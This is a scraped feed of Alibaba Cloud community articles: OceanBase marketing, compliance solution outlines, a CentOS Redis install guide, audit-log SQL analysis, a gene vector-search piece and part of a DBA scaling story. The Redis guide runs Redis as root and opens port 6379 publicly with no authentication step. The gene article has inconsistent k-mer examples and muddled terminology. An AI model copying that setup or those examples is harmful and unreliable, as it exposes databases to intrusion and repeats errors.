    我们通过Paxos协议和多副本技术,可以提供很好的高可用性,当出现灾难的时候我们可以做到RPO=0,RTO<30秒,这完全可以满足企业的容灾需求。同时由于我们使用的是Paxos协议, Paxos协议是支持日志空洞的,这就带来一个好处,当在网络出现波动的时候,我们可以给到更好的性能保证。

    OceanBase的高可用性,是完全在通用X86服务器和普通硬件上提供出来的,没有使用任何高端硬件,所以我们的成本会更低一些。

    高扩展

    在实际生产系统中单个OceanBase集群内的服务器可以达到100台以上。而且OceanBase具有很好的线性扩展比。高扩展性还体现在扩容时的自动负载均衡,这意味着当DBA需要扩容的时候,所做的只是增加一台机器到集群里,接下来,我们的OceanBase管理系统会自动的根据系统的负载情况,把数据迁移到新加的机器上。整个扩容缩容过程中,业务没有感知。

    高性能

    我们采用了很多先进的技术来提高数据库的性能。比如LSM Tree、无锁结构、消除磁盘的随机写等等,这些技术帮助我们充分使用硬件的能力,再辅以高扩展性,我们就可以提供一个世界级性能的OceanBase集群。

    在实际的生产系统里,我们可以在峰值的时候提供6100万次每秒,单表最大容量可以到3200亿行。和高性能伴随的是低成本,因为我们采用了LSM Tree结构,所以当数据落盘的时候是更有组织的,可以做到1:3的压缩比。

    高透明

    我们实现了不少关键技术,比如全局一致性快照、全局索引、自动事务两阶段提交。使用OceanBase数据库,应用就像使用一台单机数据库一样,不需要做针对分布式数据库的特别感知和修改。

    高兼容

    我们在一套OceanBase集群上同时为您提供两套生态,一套是Oracle生态,一套是MySQL生态,有效地降低业务迁移改造的成本。同时我们和国内主流的操作系统、芯片也都做了互认的支持,可以有效满足技术供应链安全的需求。

    多租户

    多租户就是在一个OceanBase集群上,可以建立很多个租户,每个租户对应一个Oracle实例或者是MySQL实例。可以用这个特性实现业务大集中,把以前全国一省一套的传统集中式数据库都集中在一个OceanBase数据库集群那里。也可以做不同种类的小业务的集中,之前几十个小的业务现在都集中在一个OceanBase集群里统一管理,这个特性不但可以有效利用集群资源,更可以有效降低 DBA的运维成本。

    OceanBase产品定位与形态

    OceanBase可以提供拥有世界级性能的OLTP引擎,同时也提供一个非常优秀的OLAP引擎,这意味着辅以刚才提到的多租户功能,您可以在一个OceanBase的集群里创建不同的实例,有的专门用于交易,有的专门用于分析,当然也可以创建一个大的实例,既做交易又做分析。OceanBase目前真正做到了一套HTAP引擎,它能够同时支持交易和分析型业务。

    5.png

    OceanBase的容灾架构,既支持经典的主备容灾方式,同时也支持基于Paxos协议的容灾方式,我们支持同机房三副本,也支持同城三机房,甚至是两地三中心,三地五中心,这些不同的容灾级别可以完全满足您的容灾诉求。

    关于部署模式,如果您希望和阿里云其他的优秀产品,比如和金融级分布式中间件SOFA或者对象云存储OSS一起使用,那么OceanBase可以在阿里云的专有云上为您输出。如果您只想使用OceanBase,我们也可以以一个纯License的方式提供给您,就在您的服务器上安装我们的软件,一样可以获得一个高可用、高扩展、高性能的集群。如果您希望只是购买一个公有云的服务,您可以在阿里云的公有云上购买一个OceanBase的RDS。这些不同选项可以无缝适配您各种不同的需求。

    OceanBase在保险业的实践

    OceanBase在保险业的最佳实践,一个很好的案例就是人保健康险。如果不熟悉的朋友可以打开您的手机支付宝,在上面搜“好医保”就可以看到人保健康险的产品。人保健康利用了金融级分布式数据库OceanBase和金融级分布式中间件SOFAStack解决了高并发保单处理能力速度慢的问题,目前每日平均出单量在15万左右。

    自2018年4月11日人保健康险好医保产品成功上线后,截止到目前,好医保已成为支付宝网红保险产品。OceanBase上线中国人保健康以后,取得了显著的收益:

    处理能力提升了上千倍,并可根据业务情况动态扩容

    2018款好医保住院医疗保险,每天1万单的日结文件,处理速度从以前的4小时缩短至6分钟

    新产品上线时间缩短80%以上,从原来的数周缩短至数天

    采用多种协议转换和标准化对接流程,使外部渠道接入效率提升6倍,支持第三方业务快速拓展

    谢谢大家听完我的汇报,期待着未来我们可以用OceanBase数据库更好地服务于保险行业,和各位好朋友一起打造面向未来的保险业的核心业务系统。

    ]]>
    阿里云操作系统选择说明指南 如何选择阿里云服务器操作系统?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    如何轻松搞定SAP HANA数据库备份?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    企业上云等级保护三级解决方案-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本文介绍企业上云满足等保合规三级的最佳实践。

    1.场景描述

    网络安全法中明确要求国家实行网络安全保护制度,网络运营者有义务履行等级保护制度要求。阿里云除了提供满足等保合规要求的云平台外,还为用户的应用系统提供完整的云原生、高性价比的等保三级解决方案。

    2.解决的问题

    • 等保2.0合规要求
    • 云上高等级安全体系建设

    3.部署架构图

    图1:企业上云等保三级合规部署架构图.png

    图1:企业上云等保三级合规部署架构图

    4.选用的产品

    更多有关以下产品的介绍,可点击这里或扫描文后二维码查看相关产品详情。

    4.1云安全中心

    云安全中心是一个实时识别、分析、预警安全威胁的统一安全管理系统,通过防勒索、防病毒、防篡改、合规检查等安全能力,帮助用户实现威胁检测、响应、溯源的自动化安全运营闭环,保护云上资产和本地主机并满足监管合规要求。

    4.2 Web应用防火墙

    阿里云Web应用防火墙(WAF)对网站或APP的业务流量进行恶意特征识别及防护,将正常、安全的流量回源到服务器。避免网站服务器被恶意入侵,保障业务的核心数据安全,解决因恶意攻击导致的服务器性能异常问题。

    4.3云防火墙

    集中管理公网IP的访问策略,内置威胁入侵防御模块(IPS),支持失陷主机检测、主动外联行为的阻断、业务间访问关系可视,留存6个月网络流量日志,等保必备。

    4.4 SSL证书

    在云上签发各品牌数字证书,实现网站HTTPS化,使网站可信,防劫持、防篡改、防监听、安全加密。统一生命周期管理,简化证书部署,一键分发到CDN、负载均衡、OSS等其它云上产品。

    4.5堡垒机

    集中管理资产权限,全程记录操作数据,实时还原运维场景,助力企业用户构建云上统一、安全、高效运维通道;保障云端运维工作权限可管控、操作可审计、合规可遵从。

    4.6数据库审计

    智能解析数据库通信流量,细粒度审计数据库访问行为,帮助企业精准识别、记录云上数据安全威胁,为云端数据库提供全方位的安全、诊断、维护及合规能力。

    4.7日志服务SLS

    行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。全面提升海量日志处理能力,实时挖掘数据价值,智能助力研发/运维/运营/安全等场景。

    4.8密钥管理服务

    密钥管理服务(KMS)提供安全合规的密钥托管和密码服务,助您轻松使用密钥来加密保护敏感的数据资产,控制云上的分布式计算和存储环境。您可以追踪密钥的使用情况,配置密钥的自动轮转策略,以及利用托管密码机所具备的中国国家密码管理局或者FIPS认证资质,来满足您的监管合规需求。

    5.详细信息

    点击这里或扫描下方二维码查看最佳实践详情。

    6.更多最佳实践

    点击这里或扫描下方二维码查看更多阿里云最佳实践。

    下载.png

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。

    image.png

    ]]>
    企业上云等保二级合规-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本文档介绍企业上云满足等保合规2.0的最佳实践。

    1.场景描述

    阿里云安全帮助您快速、省心地通过等保合规。 在阿里云,您可享受一站式等保测评,包括完备的攻击防护、数据审计、数据备份与加密、安全管理服务。可充分利用云平台的免费管理软件,包括RAM、ActionTrail、云监控等,满足等保2.0需求。

    2.解决的问题

    • 等保2.0合规要求
    • 云上安全体系建设

    3.部署架构图

    图1.png

    图1:企业上云等保合规2.0部署架构图

    4.选用的产品

    更多有关以下产品的介绍,可点击这里或扫描文后二维码查看相关产品详情。

    4.1云安全中心

    云安全中心是一个实时识别、分析、预警安全威胁的统一安全管理系统,通过防勒索、防病毒、防篡改、合规检查等安全能力,帮助用户实现威胁检测、响应、溯源的自动化安全运营闭环,保护云上资产和本地主机并满足监管合规要求。

    4.2Web应用防火墙

    阿里云Web应用防火墙(WAF)对网站或者APP的业务流量进行恶意特征识别及防护,将正常、安全的流量回源到服务器。避免网站服务器被恶意入侵,保障业务的核心数据安全,解决因恶意攻击导致的服务器性能异常问题。

    4.3云防火墙

    集中管理公网IP的访问策略,内置威胁入侵防御模块(IPS),支持失陷主机检测、主动外联行为的阻断、业务间访问关系可视,留存6个月网络流量日志,等保必备。

    4.4SSL证书

    在云上签发各品牌数字证书,实现网站HTTPS化,使网站可信,防劫持、防篡改、防监听、安全加密。统一生命周期管理,简化证书部署,一键分发到CDN、负载均衡、OSS等其它云上产品。

    4.5数据库审计

    智能解析数据库通信流量,细粒度审计数据库访问行为,帮助企业精准识别、记录云上数据安全威胁,为云端数据库提供全方位的安全、诊断、维护及合规能力。

    4.6日志服务 SLS

    行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。全面提升海量日志处理能力,实时挖掘数据价值,智能助力研发/运维/运营/安全等场景。

    5.详细信息

    点击这里或扫描下方二维码查看最佳实践详情。

    6.更多最佳实践

    点击这里或扫描下方二维码查看更多阿里云最佳实践。

    image.png

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。

    image.png

    ]]>
    CentOS-7 安装 Redis-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 wget安装
    [root@RedisSrv1 ~]# yum install wget

    安装gcc依赖

    [root@RedisSrv1 ~]# yum install gcc -y
    -- 请先检查gcc的版本是否低于5,如果是请先升级,可以使用以下命令:
    [root@RedisSrv1 redis-stable]# gcc -v
    CentOS7默认安装的是4.8.5,而redis6.0只支持5.3以上版本,这里将gcc升级到9
    [root@RedisSrv1 redis-stable]# yum -y install centos-release-scl
    [root@RedisSrv1 redis-stable]# yum install devtoolset-9-gcc*
    gcc版本切换
    临时切换:scl enable devtoolset-9 bash
    永久切换:echo “source /opt/rh/devtoolset-9/enable” >> /etc/profile

    下载最新稳定版 Redis

    [root@RedisSrv1 /]# cd /opt/
    [root@RedisSrv1 /]# wget http://download.redis.io/releases/redis-stable.tar.gz

    解压redis安装包

    [root@RedisSrv1 opt]# tar -zxvf redis-stable.tar.gz

    进到解压后的redis目录中进行编译

    [root@RedisSrv1 opt]# cd redis-stable
    
    [root@RedisSrv1 redis-stable]# make MALLOC=libc
    make[1]: Leaving directory `/opt/redis-stable/src'
    
    编译完成后,进入到src目录下,可以看到,生成了可执行文件
    生成了src目录文件之后,进入src(源文件目录)继续编译
    [root@RedisSrv1 redis-stable]# cd src/
    
    #安装到 /usr/local/redis-stable 目录
    [root@RedisSrv1 src]# make install PREFIX=/usr/local/redis-stable
    
    Hint: It's a good idea to run 'make test' ;)
    
        INSTALL install
        INSTALL install
        INSTALL install
        INSTALL install
        INSTALL install
    
     --将配置文件移动到/home/redis/目录
    cp /opt/redis-stable/redis.conf /usr/local/redis-stable
    --修改文件权限  
    chmod -R 700 /usr/local/redis-stable/
    [root@RedisSrv1 redis-stable]# cd /usr/local/redis-stable/bin
    [root@RedisSrv1 bin]# ./redis-server /usr/local/redis-stable/redis.conf
    
    
    --关闭redis进程
    [root@server01 src]# ps -ef | grep redis
    root       1177      1  0 09:09 ?        00:00:00 ./redis-server 0.0.0.0:6379
    root       1185   1147  0 09:11 pts/0    00:00:00 grep --color=auto redis
    [root@server01 src]# 
    [root@server01 src]# ps -aux | grep redis
    root       1177  0.0  0.2 144008  2028 ?        Ssl  09:09   0:00 ./redis-server 0.0.0.0:6379
    root       1187  0.0  0.0 112708   976 pts/0    R+   09:11   0:00 grep --color=auto redis
    [root@server01 src]# 
    [root@server01 src]# kill -9 1177
    [root@server01 src]# 
    [root@server01 src]# ps -aux | grep redis
    root       1189  0.0  0.0 112708   980 pts/0    R+   09:12   0:00 grep --color=auto redis
    [root@server01 src]# 
    
    开放防火墙6379端口
    firewall-cmd --zone=public --add-port=6379/tcp --permanent
    
    重新加载防火墙设置
    firewall-cmd --reload
    
    查看是否生效
    firewall-cmd --list-ports
    
    

    卸载Redis

    查看进程
    [root@RedisSrv1 src]# ps aux |grep redis
    
    杀掉进程
    kill -9 进程号
    
    查看相关文件
    [root@RedisSrv1 src]# find / -name "redis*"
    
    删除文件
    rm -rf 文件
    

    Redis 自启动

    [root@RedisSrv1 ~]# vim /usr/lib/systemd/system/redis.service
    [Unit]
    Description=Redis persistent key-value database
    After=network.target
    After=network-online.target
    Wants=network-online.target
    
    [Service]
    Type=forking
    PIDFile=/var/run/redis_6379.pid
    ExecStart=/usr/local/redis-stable/bin/redis-server /usr/local/redis-stable/redis.conf --supervised systemd
    ExecReload=/bin/kill -USR2 $MAINPID
    ExecStop=/usr/local/redis-stable/bin/redis-cli -p 6379 shutdown
    
    [Install]
    WantedBy=multi-user.target
    
    [root@RedisSrv1 ~]# systemctl daemon-reload
    [root@RedisSrv1 ~]# systemctl start redis
    [root@RedisSrv1 ~]# systemctl status redis
    [root@RedisSrv1 ~]# systemctl stop redis
    ]]>
    操作审计日志分析实战一:使用 SQL 分析投递到 OSS 中的操作审计日志-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 简单了解原理

    (1)在操作审计创建跟踪可以将账号下发生的云上管控操作日志持续投递到SLS Logstore和OSS Bucket;
    (2)在数据湖分析(DLA)服务,可以通过简单的设置将操作日志从OSS Bucket导入DLA。

    dla-oss.png

    DLA是一款基于Serverless的强大的交互式数据查询分析服务,能够便捷的对不同格式的数据源进行格式化整合并使用统一SQL查询分析。将OSS Bucket 中的操作日志导入DLA后,
    (1)DLA将OSS Bucket内以Array形式保存的一行多条日志记录拆分为多条数据;
    (2)DLA将以JSON保存的每条操作日志转换为结构化的数据表。
    这使面向OSS Bucket的数据解析被大大的简化,直接实现可视化的标准SQL分析。

    需求背景.png

    开始实践

    Step1:确认最佳实践的前提条件

    1、确认您已经在操作审计创建了跟踪。如果还未创建跟踪,请先完成创建账号追踪操作,并配置将操作记录投递到对象存储(OSS)。
    2、确认开通了DLA服务,请参见开通DLA服务

    Step2:在DLA服务中创建Schema

    1、登录Data Lake Analytics管理控制台
    2、在页面左上角,选择与OSS所在地域一致的DLA地域。
    3、单击左侧导航栏的数据湖构建 > 数据入湖,在数据入湖页面单击ActionTrail日志清洗中的进入向导。
    4、在ActionTrail日志清洗页面,根据页面提示进行参数配置。

    创建Schema_1.png

    5、完成上述参数配置后单击创建,创建Schema。
    服务端预设的操作审计日志Schema结构如下方表格所示。

    1111111111111111111.png

    Schema表结构介绍

    表格长图.png

    Step3:开启同步

    Schema创建成功后,ActionTrail投递到OSS Bucket中的日志数据尚未同步到DLA中,DLA中尚未创建OSS日志文件对应的表,您还需要通过单击立即同步来创建表并同步表数据。
    1、单击立即同步启动数据同步任务。

    在配置页签下,单击更新更新Schema配置。

    立即同步.png

    2、单击表页签,查看数据同步情况。

    元数据管理.png

    数据同步到DLA以后,您就可以在DLA中使用标准SQL语法对ActionTrail日志数据进行分析。

    Step4:数据分析示例

    1、单击DLA控制台左侧 SQL执行 选项卡,选择目标前面设置的数据库。

    SQL界面.png

    2、输入查询语句,在这里输入单击 同步执行

    输入SQL.png

    3、得到查询结果

    查询结果.png

    您可以使用任何符合SQL语法的语句去对DLA中的日志信息进行查询。

    常用查询案例

    案例1:查询某个AK的操作日志

    1、输入语句:select * from action_trail where user_identity_access_key_id = '你的目标AK' limit 20;

    案例查询1语句.png

    2、单击 同步执行 得到前20条符合条件的记录如下

    案例1查询结果.png

    案例2:查询某个AK访问某个产品的操作日志
    1、输入语句,查询AK为指定值,调用Ecs服务的记录:select * from action_trail where user_identity_access_key_id = '你的目标AK' AND service_name = 'Ecs' limit 20;

    案例查询2语句.png

    2、单击 同步执行 得到前20条符合条件的记录如下
    案例2查询结果.png

    ]]>
    阿里云高效基因序列检索助力新冠肺炎病毒序列快速分析-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 AnalyticDB for MySQL是云端托管的PB级高并发低延时数据仓库,通过AnalyticDB for MySQL向量检索功能构建基因检索系统,支持毫秒级针对10亿级别的向量数据进行查询分析,更加快速、高效地为新冠肺炎病毒防控、研发治疗药物以及相关疫苗提供帮助。

    1.背景信息

    2019年年底,中国的新兴商业中心武汉,爆发了一种名为新型冠状病毒肺炎(简称新冠肺炎)的疫情。在新冠肺炎流行的两个多月中,中国造成了3300多人死亡,8万2千多人感染。随着疫情的进一步蔓延,目前已经横跨了109个国家,造成了80多万人感染,4万多人失去了生命。到目前为止,疫情使得50多个国家停摆,全世界范围内造成了数千亿美元的经济损失。在疫情防治期间,阿里云提供了高效基因序列检索技术,助力新冠肺炎病毒序列分析。

    2.基因序列检索技术应用范围和现状

    对于当下疫情,基因序列检索技术主要应用于以下场景:

    • 用于新冠肺炎的溯源和分析,帮助疫情防控找到病毒宿主,做好有效防范。
      通过基因序列检索技术,发现蝙蝠和穿山甲身上的冠状病毒RNA序列匹配度高达96%和99.7%,可以推断蝙蝠和穿山甲很可能是新冠肺炎的宿主。
    • 用于分析新冠肺炎病毒的复制和传播过程,为研发治疗药物和疫苗提供帮助。
      通过基因序列检索技术对基因序列按功能区域划分,了解各个模块的功能,从而更好地分析出病毒的复制和传播过程,进而找到关键节点,为研发治疗药物和疫苗提供帮助。
    • 用于检索到与冠状病毒相似的病毒基因序列。
      基因序列检索技术也可以检索与新冠肺炎病毒相似的病毒基因序列,例如SARS、MERS等病毒,从而借鉴相关药物靶点设计机制,更快、更高效地研发检测试剂盒、疫苗以及相关的治疗药物。

    基于当下疫情的快速蔓延,当前的基因匹配算法太慢,迫切需要高效匹配算法进行基因序列检索。阿里云AnalyticDB for MySQL团队将基因序列片段转化成对应的1024维特征向量,将两个基因片段的匹配问题,转换成了两个向量间的距离计算问题,从而大大降低了计算开销,实现毫秒级返回相关基因片段,完成基因片段的首次筛选。然后,使用基因相似计算BLAST算法,完成基因相似度的精确排查,从而高效率完成基因序列的匹配计算。匹配算法从原来O(M+N)的复杂度降低到O(1)。同时,阿里云AnalyticDB for MySQL提供强大的机器学习分析工具,通过基因转向量技术,将局部的和疾病相关的关键靶点基因片段转成特征向量,用于基因药物的研发,大大加速了基因分析过程。

    3. AnalyticDB for MySQL基因检索系统

    新冠肺炎病毒的RNA序列可以用一串核酸序列(又称碱基序列)表示,RNA序列含有四种核苷酸,分别用A、C、G和T表示,分别代表腺嘌呤、胞嘧啶、鸟嘌呤、胸腺嘧啶。每个字母代表一种碱基,无间隔排列在一起。每一个物种的RNA序列均不相同但又有规律,基因检索系统可以通过输入一串病毒的基因片段,检索相似的基因,用来对病毒的RNA序列进行分析。
    为方便演示AnalyticDB for MySQL基因片段检索方法,我们从GenBank下载了大量病毒的RNA片段,并将GenBank内部关于病毒的论文以及Google Scholar中相关病毒的论文导入AnalyticDB for MySQL基因检索数据库中。
    AnalyticDB for MySQL基因检索的演示界面如下图所示,将新冠肺炎病毒的序列(COVID-19)上传到AnalyticDB for MySQL基因检索系统中,AnalyticDB for MySQL基因检索系统只需几毫秒即可检索到相似的基因片段(当前示例系统只返回匹配度超过0.8的基因片段)。从返回的基因片段得出穿山甲携带的新冠肺炎病毒(GD/P1L)、蝙蝠携带的新冠肺炎病毒(RaTG13)以及SARS和MARS病毒,其中GD/P1L的序列匹配度最高为0.974,由此推断出新冠肺炎病毒很可能是通过穿山甲传染到人的。

    图1:AnalyticDB for MySQL基因检索演示界面.png

    图1:AnalyticDB for MySQL基因检索演示界面

    如果RNA片段非常相似,说明这两个RNA可能有相似的蛋白质表达和结构。通过基因检索工具,可以看到SARS和MARS与新冠肺炎病毒的匹配度为0.8以上,说明可以将一些SARS或者MARS的研究成果应用到新冠肺炎病毒上。系统提取了每种病毒的论文,通过文本分类算法,将论文划分为检测类、疫苗类和药物类,例如下图为SARS的七种检测方法、四种疫苗接种方法和10中治疗药物。其中,对SARS有效的荧光定量PCR检测,目前正应用于新冠肺炎病毒的检测;基因疫苗的方法以及诱导体内免疫疫苗的方法,也正在展开研究;治疗药物中瑞德西韦以及相关的干扰素也都用于新冠肺炎病毒的治疗上。

    图2:SARS病毒相关论文检索分类结果.png


    图2:SARS病毒相关论文检索分类结果

    单击上图干扰素链接可以查看相关论文,当前系统调用了自动翻译软件,抽取中文版文件名关键词作为文件名,方便用户阅读。

    图3:论文查看效果.png


    图3:论文查看效果

    4.实现架构

    图4:基因检索实现架构.png


    图4:基因检索实现架构

    AnalyticDB for MySQL基因检索系统中,AnalyticDB for MySQL负责存储和查询所有结构化数据(例如基因序列的长度,长度包含基因的论文名称、基因种类、DNA或者RNA等)和基因序列产生的特征向量。查询数据时,通过基因向量抽取模型将基因转化成向量,在AnalyticDB for MySQL向量数据库中进行粗排检索,然后在返回的向量匹配结果集中使用经典的BLAST算法进行精确检索,返回最相似的基因序列。
    AnalyticDB for MySQL基因检索系统的核心是基因向量抽取模型,该模块可以将核苷酸序列转化成向量。目前AnalyticDB for MySQL抽取了各种病毒的RNA全部序列样本进行训练,可以非常方便地对病毒的RNA进行相似度计算。同时,基因向量抽取模型也可以扩展应用于其他物种基因检索。

    5.基因向量抽取算法

    目前词向量技术已经非常成熟,被广泛应用于机器翻译、阅读理解、语义分析等相关领域,并取得了巨大成功。词向量化采用了分布式语义的方法表示一个词的含义,一个词的含义就是这个词所处的上下文语境。例如高中英语中的完形填空题,一篇短文空出10个地方,学生根据空缺词的上下文语境选择合适的词。也就是说上下文语境能够准确地表达这个词,如果某位同学选择了正确的选词,表示该同学理解了空缺词的含义。因此,通过上下文词的关系,采用词向量算法,可以为每个词生成一个向量,通过计算两个词向量之间的相似度,得到两个词的相似度。
    同样的道理,基因序列的排列具有一定的规律,并且每一部分基因序列所表达的功能和含义不同。可以将很长的基因序列划分成小的单元片段(也就是词)进行分析,并且这些词也有上下文语境,这些词相互连接、相互作用共同完成相对应的功能,形成合理的表达。因此,生物科学家们采用词向量算法对基因序列单元进行向量化,两个基因单元相似度很高,说明需要这两个基因单元共同来表达和完成相应的功能。
    总体而言,AnalyticDB for MySQL基因向量抽取算法分为三步:
    (1)在氨基酸序列中定义词。生物信息学中用K-mers来分析氨基酸序列,K-mer是指将核酸序列分成包含K个碱基的字符串,即从一段连续的核酸序列中迭代选取长度为K个碱基的序列,若核酸序列长度为L,K-mer长度为K,那么可以得到L-K+1个K-mers。例如下图所示,假设某序列长度为12,设定选取的k-mer长度为8,则得到(12-8+1=5)5个5-mers。这些k-mer,就是氨基酸序列中的词。

    图5:8-mers核酸序列示意图.png


    图5:8-mers核酸序列示意图

    (2)找到氨基酸序列的上下文语境,将基因序列中的词转换成1024维向量。对于词向量算法而言,另一个重要的问题就是上下文的语境。AnalyticDB for MySQL基因向量抽取算法在氨基酸片段中选择一个长度为L的窗口,该窗口内的氨基酸片段可认定为在同一语境内。例如CTGGATGA是一段核酸序列,选取了长度为10的窗口,AnalyticDB for MySQL基因向量抽取算法将CTGGATGA转换成5个5-mers即{AACTG, ACTGG, CTGGA, GGATG, GATGA}。对于其中一个5-mer{CTGGA}而言,另外四个{AACTG, ACTGG, GGATG, GATGA}5-mers就是当前5-mer {CTGGA}的上下文语境。AnalyticDB for MySQL基因向量抽取算法套用词向量空间训练模型,对已有生物基因的K-mers进行训练,便可将一个K-mer(基因序列中的一个词)转换成1024维向量。
    (3)类似于词向量模型,K-mer向量模型也拥有和词向量模型相似的数理计算性质。公式一说明核苷酸序列ACGAT的向量减去GAT序列的向量和AC序列的向量距离非常接近。公式二说明核苷酸序列AC的向量加上ATC序列的向量和ACATC序列的向量距离也很接近。因此,根据这些数理特征,计算一个长氨基酸序列向量时,可以将这个序列中每一段的K-mer序列进行累加,最后进行归一化就能得到整个氨基酸序列的向量。同时,为提升精度,可以将基因片段看作一个文本,使用doc2vec4将整个序列转换成向量进行计算。为进一步验证算法性能,AnalyticDB for MySQL基因向量抽取算法计算了常用于基因检索库中的BLAST算法序列与基因转向量l2距离序列的相似度,两个序列的斯皮尔曼等级相关系数是0.839。以上得出结论,将DNA序列转换成向量用于相似基因片段的初次筛选,是有效且可行的。

    6.向量检索功能概述

    一般包含向量检索的应用系统中,开发者通常会使用向量检索引擎(例如Faiss)存储向量数据,然后使用关系型数据库存储结构化数据。因此,查询时也需要交替查询两个系统,明显额外增加了开发人员的工作量,数据查询性能也不是最优。
    AnalyticDB for MySQL是云端托管的PB级高并发低延时数据仓库,可以毫秒级针对10亿级别的向量数据进行查询,100毫秒级别的响应时间。AnalyticDB for MySQL全面兼容MySQL协议以及SQL:2003语法标准,其向量检索功能支持对图像、文本推荐、声纹、核苷酸序列等相似性进行查询和分析,目前在多个城市的安防项目中已大规模部署了AnalyticDB for MySQL。
    AnalyticDB for MySQL支持结构化和非结构化数据的近似检索和分析,通过SQL接口即可快速搭建基因检索或者基因+结构化数据混合检索等系统。在混合检索场景中AnalyticDB for MySQL的优化器会根据数据的分布和查询条件选择最优执行计划,在保证数据召回率的同时,得到最优的性能。例如,通过以下一条SQL即可检索RNA核酸序列。

    -- 查找RNA和提交的序列向量相近的基因序列。
    select  title, # 文章名
            length, # 基因长度
            type, # mRNA或DNA等
            l2_distance(feature, array[-0.017,-0.032,...]::real[]) as distance # 向量距离 
    from demo.paper a, demo.dna_feature b
    where a.id = b.id
    order by distance; # 用向量相似度排序
    

    上述SQL中表demo.paper用于存储上传的每篇文章的基本信息,demo.dna_feature存储各个物种的基因序列对应的向量。通过基因转向量模型,将要检索的基因转成向量[-0.017,-0.032,...],然后在AnalyticDB for MySQL数据库中进行检索。
    当前系统也支持结构化信息+非结构化信息(核苷酸序列)的混合检索,例如查找和冠状病毒相关的类似基因片段时,只需要在SQL中增加where title like'%COVID-19%'即可。
    本文参考的相关文献,感兴趣的读者可访问这里或扫描下方二维码了解详情。

    二维码.png

    作者:李倩

    阿里云云原生数据仓库AnalyticDB产品经理

    阿里云云原生数据仓库AnalyticDB产品经理,见证了AnalyticDB从初创到至今的壮大发展,参与了所有重大功能设计。

    我们是阿里云智能全球技术服务-SRE团队,我们致力成为一个以技术为基础、面向服务、保障业务系统高可用的工程师团队;提供专业、体系化的SRE服务,帮助广大客户更好地使用云、基于云构建更加稳定可靠的业务系统,提升业务稳定性。我们期望能够分享更多帮助企业客户上云、用好云,让客户云上业务运行更加稳定可靠的技术,您可用钉钉扫描下方二维码,加入阿里云SRE技术学院钉钉圈子,和更多云上人交流关于云平台的那些事。

    image.png

    ]]>
    钉钉猛增40倍流量压力 阿里云DBA如何应对-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1.背景

    由于受新型冠状病毒感染的肺炎疫情影响,钉钉流量从春节后开始出现了飞跃性增长。此次疫情流量主要来源于钉钉远程办公和在线教育功能,从字面来看,好像只是钉钉的两个业务功能,但在钉钉内部依赖模块不下20个,主要有消息、视频会议、直播、家校、健康打卡等业务场景。如何保障超过20个业务在如此爆发式增长下的性能和稳定性,是对钉钉后台系统、数据库系统的一个很大挑战。
    本文将从数据库DBA的视角来介绍我们是如何打赢这场“战役”的,在这个过程中我们究竟遇到了哪些挑战,我们是如何组织我们的团队,如何思考,如何真正利用技术克服这些挑战,最后通过这场战役,我们又沉淀了哪些经验及技术。

    2.对数据库系统的挑战

    数据库是钉钉业务系统运行的强依赖,在这种类似双11的场景下,如何规划部署数据库成了稳定性中最重要的一环。但是这次的战役来得突然,并没有很多时间准备,因此面临了非常多的困难与挑战,总结下来有以下3点:
    (1)系统所需要的容量是多少,无法预估
    以消息模块为例,在春节前,钉钉消息日常流量峰值不到千万,第一次容量评估,大家给2月3号定的目标是日常峰值的3倍。随着2月10号开课高峰的到来,又将2月10号的目标调整为10倍。之后又因为2月17号开学季的到来,再次将目标调整为40倍。所以总容量相比日常峰值翻了40倍!
    (2)时间紧,扩容需求众多,资源不足
    疫情流量的猛增,给系统带来的冲击不亚于每年的双11。电商会花半年时间准备双11,但这次留给我们的时间只能以小时来计。另一方面,钉钉出于成本的考虑,资源池中基本没有空余的机器,现有的资源部署密度也比较高,如何腾挪资源在较短的时间内为钉钉接近20个核心集群进行扩容是一个很大的问题。
    (3)极限场景下如何保障系统稳定性与用户体验
    在各种因素制约导致集群无法扩容且系统达已经达到瓶颈时我们能怎么办?有哪些应急手段能用?是否存在一个平衡点,将对用户的影响降到最低?

    3.应对措施

    3.1人员合理化安排

    (1)数据库团队成立疫情期间钉钉业务保障小组
    小组成员包含了数据库团队DBA/数据库内核/CORONA/TDDL/DTS/精卫/NOSQL各产品线同学。根据钉钉业务线进行分工,每个DBA跟进一个业务线,参与高峰期的保障,及时播报线上系统状况与水位,让重保决策人员及时了解系统的状况。对线上出现的问题紧急处理,保证问题在短时间内得到修复。对不合理的业务场景进行优化,保证已知问题只出现一次。参与系统的压测,发现潜在风险点及时修正,对系统容量不够的系统进行及时扩容,在资源满足的情况下让数据库在高峰来临之前已经具备足够的容量。
    (2)数据库团队与钉钉稳定性团队紧密合作
    由于前期资源有限,需要扩容的系统众多,此时钉钉稳定性团队主动站出来帮DBA分担了大量的的压力。他们将数据库的扩容需求根据业务的重要性进行优先级划分,统一扩容需求,DBA根据优先级顺序,结合业务的目标容量进行判断,在有限的资源下有条不紊地进行扩容,保证资源优先用在刀刃上,大大提升了扩容效率。

    3.2资源紧急协调

